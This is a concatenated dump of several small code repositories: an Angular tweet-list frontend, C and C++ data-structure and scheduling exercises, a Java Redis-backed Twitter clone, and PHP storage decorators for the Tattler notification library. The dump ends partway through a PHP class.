monthNames = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
}<file_sep>/app/footer.component.ts
import { Component } from '@angular/core';
import { TweetService } from './tweet.service';
@Component({
moduleId:module.id,
selector: 'my-footer',
templateUrl: './html/footer.template.html',
styleUrls: ['./css/footer.style.css']
})
export class FooterComponent{
constructor (private tweetService: TweetService){}
}<file_sep>/app/tweet.service.ts
import { Injectable } from '@angular/core';
import { Http } from '@angular/http';
import { Observable } from 'rxjs/Observable';
import 'rxjs/add/operator/toPromise';
import 'rxjs/add/operator/map';
import 'rxjs/add/operator/catch';
import { Tweet } from './tweet';
@Injectable()
export class TweetService {
tweets: Tweet[] = [];
constructor(private http: Http){}
getTweets(){
console.log('Get tweets runs.');
this.http.get("http://localhost:8080/widget/webapi/profile").toPromise()
.then(response => {
this.tweets = [];
const data = response.json();
for(let tweet of data){
const entryTweet = new Tweet(tweet.text, new Date(tweet.creationDate), tweet.id, tweet.authorName, tweet.profileImage, tweet.screenName);
this.tweets.push(entryTweet);
}
console.log(this.tweets);
})
.catch(error => {
console.error(error);
});
}
getProfile(username: String){
this.http.get("http://localhost:8080/widget/webapi/profile/"+username).toPromise()
.then(response => {
this.tweets = [];
const data = response.json();
for(let tweet of data){
const entryTweet = new Tweet(tweet.text, new Date(tweet.creationDate), tweet.id, tweet.authorName, tweet.profileImage, tweet.screenName);
this.tweets.push(entryTweet);
}
console.log(this.tweets);
})
.catch(error => {
console.error(error);
});
}
}
<file_sep>/app/header.component.ts
import { Component } from '@angular/core';
import { TweetService } from './tweet.service';
@Component({
moduleId: module.id,
selector: 'my-header',
templateUrl: './html/header.template.html',
styleUrls: ['./css/header.style.css']
})
export class HeaderComponent{
constructor (private tweetService: TweetService){}
/* Not yet implemented.
changeUser(user: String){
console.log(user);
this.tweetService.getProfile(user);
}*/
}<file_sep>/app/tweet-list.component.ts
import { Component } from '@angular/core';
import { BodyComponent } from './body.component';
import { TweetService } from './tweet.service';
import { Tweet } from './Tweet';
@Component({
moduleId: module.id,
selector: 'my-tweet-list',
templateUrl: './html/tweet-list.template.html',
styleUrls: ['./css/tweet-list.style.css']
})
export class TweetListComponent {
constructor(private tweetService:TweetService){}
}<file_sep>/app/app.component.ts
import { Component, OnInit } from '@angular/core';
import { TweetService } from './tweet.service';
@Component({
selector: 'my-app',
template: `<my-header></my-header>
<my-tweet-list></my-tweet-list>
<my-footer></my-footer>`,
providers: [TweetService]
})
export class AppComponent implements OnInit {
constructor (private tweetService: TweetService){}
ngOnInit(){
this.tweetService.getTweets();
}
}
|
be673129145f4fc804e121ebb6aeba6025fe0f2e
|
[
"TypeScript"
] | 7
|
TypeScript
|
mhernandeza/widget-front-end
|
492c4330e7ffb90a28180b3ff79bb7f95615167e
|
236c1b01274af32934cbd9118a1e51eb224fdfc0
|
refs/heads/master
|
<file_sep>#include<iostream>
#include<math.h>
#include<stdio.h>
using namespace std;
class roundrobin
{
public:
void queue(int arr[], int n)
{
for( int i=0; i<n; i++)
{arr[i]=-1;}
}
bool check(int r_burst[], int n)
{
bool robin1 = true;
int i;
for( i=0; i<n; i++)
{
if(r_burst[i]>0)
{
robin1 = false;
}
}
return robin1;
}
void t(int arr[], int n)
{
int i;
for( i=0; i<n; i++)
{arr[i]=0;}
}
};
int main()
{
roundrobin r;
int t_quantum=10,n=6;
int thread[]={1,2,3,4,5,6};
int priority[]={40,30,30,35,5,10};
int arrival[]={0,25,30,60,100,105};
int burst[]={20,25,25,15,10,10};
int r_burst[]={20,25,25,15,10,10};
int tat[n],wt[n],ct[n],temp_ct[n];
bool robin=false;
int time=0, j,selected_process=0;
int temp_ct_count=0;
int temp[6];
int max=temp[0];
r.t(wt,n);
r.t(tat,n);
r.t(ct,n);
r.t(temp_ct,20);
while(robin != true){
recheck:
if(r.check(r_burst, 6))
{
robin=true;
break;
}
for(int i=0; i<n; i++)
{
if(r_burst[i]==0)
{
continue;
}
if(arrival[i] > time)
{
time +=(arrival[i]-time);
break;
}
else if(r_burst[i] > t_quantum )
{
time += t_quantum;
r_burst[i] -= t_quantum;
goto recheck;
}
else {
r_burst[i] = 0;
time += t_quantum;
ct[i] = time;
temp_ct[temp_ct_count] = thread[i];
temp_ct_count++;
}
}
}
for(int i=0; i<n; i++){
tat[i] = ct[i]-arrival[i];
wt[i] = tat[i]-burst[i];
}
cout<<"Process "<<"TAT "<< " WT "<< " CT\n";
int sum_wt=0;
for( int i=0; i<n; i++){
cout<<thread[i]<<"\t"<< tat[i]<<"\t"<< wt[i]<<"\t"<< ct[i]<<endl;
sum_wt += wt[i];
}
cout<<"\n\n";
for( int i=0; i<n; i++){
cout<<"P["<<i+1<<"]: "<<ct[i]<<"--"<<ct[i+1]<<endl;
}
for( int i=0; i<6; i++){
cout<<ct[i]<<endl;
}
cout<<"\n\n";
double CPU_RATE;
double avg_wt;
avg_wt = (sum_wt/(double)n);
CPU_RATE =pow(avg_wt,(double)n) ;
printf("CPU utilization rate: %.2f\n",CPU_RATE);
}
<file_sep>#include<iostream>
using namespace std;
class billing
{
public:
int student[10],gifts[10],temp;
void getdata()
{
for(int i=0;i<10;i++)
{
cout<<i+1<<":"<<endl;
cout<<"no.of gifts:";
cin>>gifts[i];
student[i]=i+1;
}
}
void sort()
{
//sorting according to gifts
for(int i=0;i<10;i++)
{
for(int j=0;j<10-i-1;j++)
{
if(gifts[j]<gifts[j+1])
{
temp=gifts[j];
gifts[j]=gifts[j+1];
gifts[j+1]=temp;
temp=student[j];
student[j]=student[j+1];
student[j+1]=temp;
}
}
}
}
void display()
{
cout<<"student "<<" gifts "<<endl;
for(int i=0;i<10;i++)
{
cout<<student[i]<<"\t\t"<<gifts[i]<<endl;
}
cout<<"The order of billing of student is:\t";
for(int k=0;k<10;k++)
{
cout<<student[k]<<"\t";
}
}
};
int main()
{
billing obj;
obj.getdata();
obj.sort();
obj.display();
}
|
f6dbee3cb0d425d995fcf6a51312a3ef92f7e1f2
|
[
"C++"
] | 2
|
C++
|
himansusharma30/Ten-students-s1-s2-s3-s4-s5-s6-s7-s8-s9-s10-are-going-to-attend-an-event.-There-are-lots-of-gift-s
|
fd11376858a44f18b233eac5ec79fd5203fc2b00
|
add51d146595469c5d0c31889a78c08df45192dc
|
refs/heads/main
|
<repo_name>chaitra1403/Data-Structures-Using-C<file_sep>/2stack.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
//#include<ctype.h>
char stack[20][20];
int top=-1,size;
void push();
void pop();
void peek();
void display();
void main()
{
int ch,n;
printf("enter the limit\n");
scanf("%d",&size);
do
{
printf("1.push\n");
printf("2.pop\n");
printf("3.peek\n");
printf("4.display\n");
printf("enter your choice\n");
scanf("%d",&ch);
switch(ch)
{
case 1:
push();
break;
case 2:
pop();
break;
case 3:
peek();
break;
case 4:
display();
break;
default:exit(0);
break;
}
printf("do you want to continue 1/0\n");
scanf("%d",&n);
}
while(n!=0);
}
void push()
{
char item[20];
if(top==size-1)
{
printf("stack is full\n");
}
else
{
printf("enter the string\n");
scanf("%s",item);
top++;
strcpy(stack[top],item);
}
}
void pop()
{
if(top==-1)
{
printf("stack is empty\n");
}
else
{
printf("popped element is: %s \n",stack[top]);
top--;
}
}
void peek()
{
if(top==-1)
{
printf("stack is empty\n");
}
else
{
printf("peeked element is: %s \n",stack[top]);
}
}
void display()
{
int i;
if(top==-1)
{
printf("stack is empty\n");
}
else
{
for( i=top;i>-1;i--)
printf("stack elements are: %s \n",stack[i]);
}
}
<file_sep>/8sorting.c
#include<stdio.h>
#include<stdlib.h>
void bubble(int[],int);
void selection(int[],int);
void insertion(int[],int);
int n,j,i,a[10];
void main()
{
int ch;
while(1)
{
printf("\n1. Bubble\n");
printf("2. Selection\n");
printf("3. Insertion\n");
printf("4. Exit\n");
printf("Enter your choice:\n");
scanf("%d",&ch);
switch(ch)
{
case 1: bubble(a,n);
break;
case 2: selection(a,n);
break;
case 3: insertion(a,n);
break;
case 4: exit(0);
break;
default:
printf("Invalid Choice:");
break;
}
}
}
void bubble(int a[],int n)
{
int i,temp;
int j;
printf("Enter the size\n");
scanf("%d",&n);
printf("Enter the elements for Bubble sort:\n");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
for(i=0;i<n;i++)
{
for(j=0;j<n-1;j++)
{
if(a[j]>a[j+1])
{
temp=a[j];
a[j]=a[j+1];
a[j+1]=temp;
}
}
}
printf("Sorted Elements for Bubble Sort are:\n");
for(i=0;i<n;i++)
printf("%d\t",a[i]);
}
void selection(int a[],int n)
{
int i,j,temp,min;
printf("Enter the size\n");
scanf("%d",&n);
printf("Enter the element for Selection Sort \n");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
for(i=0;i<n;i++)
{
min=i;
for(j=i+1;j<n;j++)
{
if(a[i]>a[j])
{
min=j;
temp=a[i];
a[i]=a[j];
a[j]=temp;
}
}
}
printf("Sorted Elements for Selection Sort are:\n");
for(i=0;i<n;i++)
printf("%d\t",a[i]);
}
void insertion(int a[],int n)
{
int i,j,temp,key;
printf("Enter the size\n");
scanf("%d",&n);
printf("Enter the Elements for Insertion sort\n");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
for(i=1;i<n;i++)
{
key=a[i];
for(j=i-1;j>=0 && key<a[j];j--)
{
a[j+1]=a[j];
}
a[j+1]=key;
}
printf("Sorted elements for Insertion sort are:\n");
for(i=0;i<n;i++)
printf("%d\t",a[i]);
}
<file_sep>/README.md
# Data-Structures-Using-C
Basic Data structures programs using C language
1. Searching techniques using arrays (Linear and Binary).
2. Operations for a String based Stack.
3. Evaluate postfix expression in a compiler.
4. Basic queue operations.
5. Task Scheduling using Priority Queues.
6. Working of a singly linked list.
7. Binary Search Tree traversal techniques.
8. Sorting techniques (Bubble Sort, Insertion Sort, Selection Sort).
9. Depth First Search Traversal to identify the connectivity of a graph.
10. Breadth First Search to display the reachable nodes.
<file_sep>/1lb.c
#include<stdio.h>
#include<stdlib.h>
void linear(int[],int,int);
void binary(int[],int,int);
void main()
{
int a[5],i,n,x,c;
while(1)
{
printf("*******SEARCHING USING LINEAR AND BINARY********\n");
printf("Enter the technique to use for searching:\n 1.LINEAR SEARCH \n 2.BINARY SEARCH\n 3.EXIT\n");
printf("Enter your choice:\n");
scanf("%d",&c);
switch(c)
{
case 1:printf("Enter the size af array: ");
scanf("%d",&n);
printf("enter the array elements:");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
printf("Enter the element to be searched:");
scanf("%d",&x);
linear(a,x,n);
break;
case 2: printf("Enter the size af array: ");
scanf("%d",&n);
printf("enter the array elements:");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
printf("Enter the element to be searched:");
scanf("%d",&x);
binary(a,x,n);
break;
case 3:exit(0);
default:printf("Invalid choice:\n");
break;
}
}
}
void linear(int a[5],int x,int n)
{
int i,f=0;
for(i=0;i<n;i++)
{
if(a[i]==x)
{
printf("element found at %d\n",i);
f=1;
break;
}
}
if(f==0)
printf("element not found\n");
}
void binary(int a[10],int x,int n)
{
int mid,low=0,high=n-1,f=0;
while(low<=high)
{
mid=(low+high)/2;
if(x==a[mid])
{
printf("Element found at %d\n",mid);
f=1;
break;
}
if(x<a[mid])
{
high=mid-1;
}
else
{
low=mid+1;
}
}
if(f==0)
printf("Element not found\n");
}
<file_sep>/4queue.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void insert();
void Delete();
void display();
int size,front=-1,rear=-1;
char q[20][20];
void main()
{
int ch;
printf("Enter the limit: ");
scanf("%d",&size);
while(1)
{
printf("\n1. insert\n");
printf("2. delete\n");
printf("3. display\n");
printf("4. exit\n");
printf("enter your choice: ");
scanf("%d",&ch);
switch(ch)
{
case 1:
insert();
break;
case 2:
Delete();
break;
case 3:
display();
break;
case 4:
exit(0);
break;
default: printf("enter valid option\n");
}
}
}
void insert()
{
char item[20];
if(rear==size-1)
{
printf("Q is full\n");
}
else
{
printf("\n insert the element ");
scanf("%s",item);
strcpy(q[++rear],item);
if (front==-1)
{
front=0;
}
}
}
void Delete()
{
if(front==-1)
{
printf("Q is empty\n");
}
else
{
printf("\n deleted element is %s ",q[front]);
front+=1;
if(front>rear)
{
front=-1;
}
}
}
void display()
{ int i;
if(front==-1)
{
printf("Q is Empty\n");
}
else
{
printf("\nthe elements in queue are");
for(i=front;i<=rear;i++)
{
printf("\n%s",q[i]);
}
}
}
<file_sep>/9dfs.c
#include<stdio.h>
#include<stdlib.h>
#define MAX 15
int a[20][20],i,j,n,v[MAX],top=-1,in;
int push(int item)
{
if(top == MAX-1)
printf("stack is full\n");
else
{
v[++top] = item;
}
return 0;
}
int pop()
{
int a;
if(top == -1)
printf("stack is underflow\n");
else
{
a = v[top--];
printf("\n%d ",a);
return a;
}
}
int isempty()
{
if(top==-1)
return 1;
else
return 0;
}
void dfs(int s)
{
int i;
push(s);
v[s] = 1;
while(!isempty())
{
int k = pop();
for(i=1;i<=n;i++)
if(! (!a[k][i]) && (!v[i]) )
{
push(i);
v[i]=1;
}
}
}
int main()
{
int i,j;
printf("enter the number of vertices\n");
scanf("%d",&n);
printf("enter the starting vertex\n");
scanf("%d",&in);
printf("enter the adjacency matrix\n");
for(i=1; i<=n; i++)
{
for(j=1; j<=n; j++)
{
scanf("%d ",&a[i][j]);
}
}
printf("adjacency matrix is\n");
for(i=1; i<=n; i++)
{
for(j=1; j<=n; j++)
{
printf("%d ",a[i][j]);
}
printf("\n");
}
dfs(in);
return 0;
}
<file_sep>/7binarytree.c
#include<stdio.h>
#include<stdlib.h>
struct node
{
int data;
struct node *lchild;
struct node *rchild;
}*root=NULL,*temp,*parent,*current,*q;
void insert();
void inorder(struct node *q);
void preorder(struct node *q);
void postorder(struct node *q);
void main()
{
int ch;
while(1)
{
printf("\n1.Insert\n2.Inorder\n3.Preorder\n4.Postorder\n5.Exit\n");
printf("Enter your choice : ");
scanf("%d",&ch);
switch(ch)
{
case 1:insert();
break;
case 2:printf("\nInorder");
inorder(root);
break;
case 3:printf("\nPreorder");
preorder(root);
break;
case 4:printf("\nPostorder");
postorder(root);
break;
case 5:exit(1);
break;
default : printf("\nInvalid choice\n");
}
}
}
void insert()
{
temp=(struct node *)malloc(sizeof(struct node));
printf("Enter data : ");
scanf("%d",&temp->data);
temp->lchild=NULL;
temp->rchild=NULL;
if(root==NULL)
root=temp;
else
{
parent=root;
current=root;
while(current)
{
parent=current;
if(temp->data>current->data)
current=current->rchild;
else
current=current->lchild;
}
if(temp->data>parent->data)
parent->rchild=temp;
else
parent->lchild=temp;
}
}
void inorder(struct node *q)
{
if(root==NULL)
printf("\nBinary Search is Empty\n");
else
{
if(q->lchild!=NULL)
inorder(q->lchild);
printf("%d->\t",q->data);
if(q->rchild!=NULL)
inorder(q->rchild);
}
}
void preorder(struct node *q)
{
if(root==NULL)
printf("\nBST Empty\n");
else
{
printf("%d->\t",q->data);
if(q->lchild!=NULL)
preorder(q->lchild);
if(q->rchild!=NULL)
preorder(q->rchild);
}
}
void postorder(struct node *q)
{
if(root==NULL)
printf("\nBST Empty\n");
else
{
if(q->lchild!=NULL)
postorder(q->lchild);
if(q->rchild!=NULL)
postorder(q->rchild);
printf("%d->\t",q->data);
}
}
<file_sep>/5priority.c
#include<stdio.h>
#include<stdlib.h>
#define MAX 4
void insert(int n);
void del();
int display();
int front=-1;
int rear=-1;
int queue[MAX];
void check(int n);
void main()
{
int n,ch;
while(1)
{
printf("\n1:Insert\n");
printf("2:Delete\n");
printf("3:Display\n");
printf("4:Exit\n");
printf("\nEnter choice:");
scanf("%d",&ch);
switch(ch)
{
case 1:printf("\nEnter element to be inserted:");
scanf("%d",&n);
insert(n);
break;
case 2:del();
break;
case 3:display();
break;
case 4:exit(0);
default:printf("Invalid choice");
break;
}
}
}
void insert(int data)
{
if(rear>=MAX-1)
{
printf("\nQueue is full\n");
return;
}
if((front==-1)&&(rear==-1))
{
front++;
rear++;
queue[rear]=data;
return;
}
else
{
check(data);
rear++;
}
}
void check(int data)
{
int i,j;
for(i=0;i<=rear;i++)
{
if(data>=queue[i])
{
for(j=rear+1;j>i;j--)
{
queue[j]=queue[j-1];
}
queue[i]=data;
return;
}
}
queue[i]=data;
}
void del()
{
if((front==-1)||(front>rear))
{
printf("\nQueue is empty\n");
}
else
{
printf("\nElement deleted is=%d",queue[front]);
front=front+1;
}
}
int display()
{
int i;
if((front==-1)||(front>rear))
{
printf("Queue is empty\n");
}
else
{
printf("Elements are\n");
for(i=front;i<=rear;i++)
printf("%d\n",queue[i]);
}
}
|
4b719eb1b1c30468a0e0784142fb7132971a89e3
|
[
"Markdown",
"C"
] | 8
|
C
|
chaitra1403/Data-Structures-Using-C
|
3ddc6b9a1b9ca60155d0f1db5b6c6b0c0e687642
|
8766e92b1bc1b4583e71e4542e772ca4e6fd57a1
|
refs/heads/master
|
<file_sep>package bean;
import java.util.ArrayList;
/**
* L'utilisateur suit les followers (est abonné)
*
* @author emmanuel_plaisance
*
*/
public class Following {
private String userName;
private ArrayList<String> following;
public Following(String User, ArrayList<String> following) {
this.userName = User;
this.following = following;
}
public String getUser() {
return userName;
}
public void setUser(String User) {
this.userName = User;
}
public ArrayList<String> getFollowing() {
return following;
}
public void setFollowers(ArrayList<String> following) {
this.following = following;
}
}
<file_sep>package services;
import bean.Tweet;
import java.util.List;
/**
* Created by tamiand on 21/04/2015.
*/
public interface TimelineService {
public List<Tweet> getTimeLine(String userName);
}
<file_sep>package servicesImpl;
import bean.Tweet;
import bean.User;
import dao.FollowDAO;
import dao.TweetDAO;
import dao.UserDAO;
import daoImpl.FollowDAOImpl;
import daoImpl.TweetDAOImpl;
import daoImpl.UserDAOImpl;
import services.TimelineService;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
/**
* Created by tamiand on 21/04/2015.
*/
public class TimeLineServiceImpl implements TimelineService {
UserDAO daoUser = new UserDAOImpl();
FollowDAO daoFollower = new FollowDAOImpl();
TweetDAO daoTweet = new TweetDAOImpl();
public List<Tweet> getTimeLine(String userName) {
List<Tweet> tweetUser = daoTweet.getTweet(userName);
List<User> followers = daoFollower.getFollowers(userName);
List<Tweet> tweetFollowers = new ArrayList<Tweet>();
if(!followers.isEmpty()){
for(User follower : followers){
if(follower.getName() != null) {
tweetFollowers.addAll(daoTweet.getTweet(follower.getName()));
}
}
}
List<Tweet> timeLine = new ArrayList<Tweet>();
timeLine.addAll(tweetUser);
timeLine.addAll(tweetFollowers);
Collections.sort(timeLine, new Comparator<Tweet>() {
public int compare(Tweet tweet1, Tweet tweet2)
{
return tweet1.getDate().compareTo(tweet2.getDate());
}
});
return timeLine;
}
}
<file_sep>package dao;
import bean.User;
import java.util.List;
/**
* Created by tamiand on 21/04/2015.
*/
public interface FollowDAO {
public void addFollow(String userName, String followName);
public List<User> getFollowers(String userName);
}
<file_sep>package dao;
import bean.User;
public interface UserDAO {
public void createUser(String login, String password);
public void deleteUser(String login);
public User getUser(String login);
public String getUID(String user);
}
<file_sep>package bean;
import java.util.ArrayList;
/**
* Les utilisateurs qui suivent (abonnees au) user
*
* @author emmanuel_plaisance
*
*/
public class Followers {
private String userName;
private ArrayList<String> followers;
public Followers(String userName, ArrayList<String> followers) {
this.userName = userName;
this.followers = followers;
}
public String getUser() {
return userName;
}
public void setUser(String User) {
this.userName = User;
}
public ArrayList<String> getFollowers() {
return followers;
}
public void setFollowers(ArrayList<String> followers) {
this.followers = followers;
}
}
<file_sep>package main;
import java.util.*;
import bean.Tweet;
import bean.User;
import daoImpl.ClientRedis;
import org.apache.log4j.Logger;
import redis.clients.jedis.Jedis;
import services.TimelineService;
import services.TotauxService;
import servicesImpl.TimeLineServiceImpl;
import servicesImpl.TotalServiceImpl;
public class Main {
private static Logger Log = Logger.getLogger(Main.class);
public static void main(String[] args) {
int i = 0;
System.out.println("G�n�ration de la base...");
Datas datas = new Datas();
ClientRedis client = new ClientRedis();
System.out.println(client.getClient().get("toto"));
datas.generateBase();
System.out.println("G�n�ration de la base OK");
TimelineService service = new TimeLineServiceImpl();
TotauxService totauxService = new TotalServiceImpl();
List<User> listUser = datas.getList();
for (User user : listUser) {
List<Tweet> timeline = service.getTimeLine(listUser.get(i)
.getName());
for (Tweet tweet : timeline) {
System.out.println("User = " + listUser.get(i)
.getName() + ", Tweet n�" + i + " : User = "
+ tweet.getUser() + " Body = " + tweet.getBody()
+ " Date = " + tweet.getDate());
}
// Nombre de followers pour un user
int totalFollowers = totauxService.totalFollowers((user.getName()));
System.out.println("Nombre de follower(s) pour " + user.getName() + " = " + totalFollowers);
// Nombre de followers pour un user
int totalFollowing = totauxService.totalFollowings((user.getName()));
System.out.println("Nombre de following(s) pour " + user.getName() + " = " + totalFollowing);
// Nombre de followers pour un user
int totalTweet = totauxService.totalTweet((user.getName()));
System.out.println("Nombre de Tweet �crit par " + user.getName() + " = " + totalTweet );
i++;
}
}
}<file_sep>package dao;
import bean.User;
import java.util.List;
/**
* Created by tamiand on 21/04/2015.
*/
public interface FollowingDAO {
public void addFollow(String userName, String followName);
public List<User> getFollowings(String userName);
}
<file_sep>package main;
import bean.Tweet;
import bean.User;
import dao.FollowDAO;
import dao.FollowingDAO;
import dao.TweetDAO;
import dao.UserDAO;
import daoImpl.FollowDAOImpl;
import daoImpl.FollowingDAOImpl;
import daoImpl.TweetDAOImpl;
import daoImpl.UserDAOImpl;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import utils.ramdom;
public class Datas {
UserDAO userDao = new UserDAOImpl();
TweetDAO tweetDao = new TweetDAOImpl();
FollowDAO followDao = new FollowDAOImpl();
FollowingDAO followingDao = new FollowingDAOImpl();
// User
public User user1 = new User("nameUser1", "ihfljf");
public User user2 = new User("nameUser2", "<PASSWORD>");
public User user3 = new User("nameUser3", "sf");
// Tweets
public Tweet tweet1 = new Tweet(user1.getName(),
"body of tweet 1 and posted by user 1", (String.valueOf(new Date()
.getTime() + ramdom.randInt(0, 9999))));
public Tweet tweet2 = new Tweet(user2.getName(),
"body of tweet 2 and posted by user 1", (String.valueOf(new Date()
.getTime() + ramdom.randInt(0, 9999))));
public Tweet tweet3 = new Tweet(user2.getName(),
"body of tweet 3 and posted by user 2", (String.valueOf(new Date()
.getTime() + ramdom.randInt(0, 9999))));
public Tweet tweet4 = new Tweet(user3.getName(),
"body of tweet 4 and posted by user 3", (String.valueOf(new Date()
.getTime() + ramdom.randInt(0, 9999))));
public List<User> listUsers = new ArrayList<User>();
public void generateBase() {
userDao.createUser(user1.getName(), user1.getPassword());
userDao.createUser(user2.getName(), user2.getPassword());
userDao.createUser(user3.getName(), user3.getPassword());
tweetDao.createTweet(tweet1);
tweetDao.createTweet(tweet2);
tweetDao.createTweet(tweet3);
tweetDao.createTweet(tweet4);
// user 1 followers
followDao.addFollow(user1.getName(), user2.getName());
followDao.addFollow(user1.getName(), user3.getName());
// user 2 following
followingDao.addFollow(user2.getName(), user1.getName());
followingDao.addFollow(user2.getName(), user3.getName());
}
public List<User> getList() {
listUsers.add(user1);
listUsers.add(user2);
listUsers.add(user3);
return listUsers;
}
}
|
1dde82e94c7ac316cc08b7153370c05f7c38bc4a
|
[
"Java"
] | 9
|
Java
|
Ootawara/twitterRedis
|
97dbc6ced288f6fb8d7a0aca0bc68562f80be3b8
|
e3e02aa1689abba5d4f35a6e83c302867a28b269
|
refs/heads/master
|
<file_sep><?php
namespace Tattler\Decorators\DB;
use Tattler\Objects\TattlerAccess;
use Tattler\Base\Decorators\IDBDecorator;
use Objection\Mapper;
use Objection\LiteObject;
use Predis\Client;
use ReflectionClass;
class RedisDecorator implements IDBDecorator
{
/** @var Client */
private $client;
/** @var string */
private $prefix;
private function getClassShortName(LiteObject $object): string
{
$reflection = new ReflectionClass($object);
return $reflection->getShortName();
}
private function getAccessObjectKey(TattlerAccess $object): string
{
return $this->prefix . ':' . $this->getClassShortName($object).':'.$object->UserToken;
}
public function __construct(string $host = 'localhost', int $port = 6379, string $prefix = 'php-tattler')
{
$this->client = new Client([
'scheme' => 'tcp',
'host' => $host,
'port' => $port,
]);
$this->prefix = $prefix;
}
public function getConnection(): Client
{
return $this->client;
}
public function insertAccess(TattlerAccess $access, int $ttl): bool
{
$key = $this->getAccessObjectKey($access);
$field = $access->Channel;
$data = Mapper::getJsonFor($access);
$result = $this->client->hset($key, $field, $data);
if ($result) {
$this->client->expire($key, $ttl);
return true;
}
return false;
}
public function updateAccessTTL(TattlerAccess $access, int $newTTL): bool
{
$key = $this->getAccessObjectKey($access);
return $this->client->expire($key, $newTTL);
}
public function accessExists(TattlerAccess $access): bool
{
$result = $this->client->hget($this->getAccessObjectKey($access), $access->Channel);
return $result != null;
}
public function deleteAccess(TattlerAccess $access): bool
{
return $this->client->hdel($this->getAccessObjectKey($access), [$access->Channel]);
}
public function loadAllChannels(string $userToken, bool $unlock = true): array
{
$tmpAccess = new TattlerAccess();
$tmpAccess->UserToken = $userToken;
$data = $this->client->hgetall($this->getAccessObjectKey($tmpAccess));
if (!$data)
return [];
/** @var TattlerAccess[] $result */
$result = Mapper::getObjectsFrom(TattlerAccess::class, $data);
$locked = [];
/** @var TattlerAccess $value */
foreach($result as $key=>$value)
{
if ($value->IsLocked)
{
$locked[] = $value;
unset($result[$key]);
}
}
if ($unlock) {
foreach ($locked as $value) {
$this->unlock($value);
}
}
return $result;
}
public function lock(TattlerAccess $access): bool
{
$access->IsLocked = true;
return $this->insertAccess($access, -1);
}
public function unlock(TattlerAccess $access): bool
{
$access->IsLocked = false;
return $this->insertAccess($access, -1);
}
public function removeGarbage(int $maxTTL): bool
{
return true;
}
}<file_sep><?php
namespace Tattler\Base\DAL;
use Tattler\Base\Decorators\IDBDecorator;
use Tattler\Objects\TattlerAccess;
/**
* @skeleton
*/
interface ITattlerAccessDAO
{
public function setDBDecorator(IDBDecorator $dbDecorator): void;
public function allow(TattlerAccess $access): bool;
public function deny(TattlerAccess $access): bool;
public function loadAllChannels(string $userToken, bool $unlock = true): array;
public function loadAllChannelNames(string $userToken, bool $unlock = true): array;
/** @deprecated */
public function lock(TattlerAccess $access): bool;
public function exists(TattlerAccess $access): bool;
public function removeOld(): bool;
}<file_sep><?php
namespace Tattler\Decorators\DB;
use Tattler\Objects\TattlerAccess;
use Tattler\Base\Decorators\IDBDecorator;
use Squanch\Base\ICachePlugin;
class SquanchDecorator implements IDBDecorator
{
/** @var ICachePlugin */
private $client;
/** @var string */
private $bucket;
public function __construct(ICachePlugin $squanch, string $bucketName = 'tattler-php')
{
$this->client = $squanch;
$this->bucket = $bucketName;
}
public function insertAccess(TattlerAccess $access, int $ttl): bool
{
$items = $this->client
->get($access->UserToken, $this->bucket)
->asLiteObjects(TattlerAccess::class);
if (!$items)
{
$items = [$access];
}
else
{
$exists = false;
/** @var TattlerAccess $item */
foreach ($items as $key=>$item)
{
if ($item->Channel === $access->Channel)
{
$items[$key] = $access;
$exists = true;
break;
}
}
if (!$exists) $items[] = $access;
}
return $this->client->set($access->UserToken, $items, $this->bucket)
->setTTL($ttl)
->save();
}
public function updateAccessTTL(TattlerAccess $access, int $newTTL): bool
{
return $this->insertAccess($access, $newTTL);
}
public function accessExists(TattlerAccess $access): bool
{
$items = $this->client->get()
->byKey($access->UserToken)
->byBucket($this->bucket)
->asLiteObjects(TattlerAccess::class);
if (!$items) return false;
/** @var TattlerAccess $item */
foreach ($items as $item)
{
if ($item->Channel === $access->Channel)
{
return true;
}
}
return false;
}
public function deleteAccess(TattlerAccess $access): bool
{
$items = $this->client->get($access->UserToken, $this->bucket)->asLiteObjects(TattlerAccess::class);
if (!$items) return true;
$found = false;
/** @var TattlerAccess $item */
foreach ($items as $key=>$item)
{
if ($item->Channel == $access->Channel)
{
unset($items[$key]);
$found = true;
break;
}
}
if ($found)
{
$this->client->set($access->UserToken, $items, $this->bucket)->update();
}
return true;
}
public function loadAllChannels(string $userToken, bool $unlock = true): array
{
$data = $this->client->get()
->byKey($userToken)
->byBucket($this->bucket)
->asLiteObjects(TattlerAccess::class);
if (!$data)
return [];
$locked = [];
/** @var TattlerAccess $value */
foreach($data as $key=>$value)
{
if ($value->IsLocked)
{
$locked[] = $value;
unset($data[$key]);
}
}
if ($unlock) {
foreach ($locked as $value) {
$this->unlock($value);
}
}
return $data;
}
public function lock(TattlerAccess $access): bool
{
$access->IsLocked = true;
return $this->insertAccess($access, -1);
}
public function unlock(TattlerAccess $access): bool
{
$access->IsLocked = false;
return $this->insertAccess($access, -1);
}
public function removeGarbage(int $maxTTL): bool
{
return true;
}
}<file_sep>CREATE TABLE IF NOT EXISTS `Tattler` (
`Created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
`Modified` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`UserToken` varchar(36) NOT NULL,
`Channel` varchar(255) NOT NULL,
`IsLocked` tinyint(1) NOT NULL DEFAULT '0',
PRIMARY KEY (`UserToken`,`Channel`),
KEY `Modified` (`Modified`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;<file_sep><?php
namespace Tattler\Modules;
use Tattler\Base\Channels\IUser;
use Tattler\Base\Channels\IRoom;
use Tattler\Base\Channels\IChannel;
use Tattler\Base\Modules\ITattlerModule;
use Tattler\Base\Objects\ITattlerMessage;
use Tattler\Channels\Broadcast;
use Tattler\Objects\TattlerAccess;
use Tattler\Objects\TattlerConfig;
use Tattler\Decorators\DB\RedisDecorator;
use Tattler\Decorators\Network\CurlDecorator;
use Tattler\Decorators\Network\GuzzleDecorator;
use Tattler\Decorators\Network\HttpfulDecorator;
use Firebase\JWT\JWT;
/**
* @autoload
*/
class TattlerModule implements ITattlerModule
{
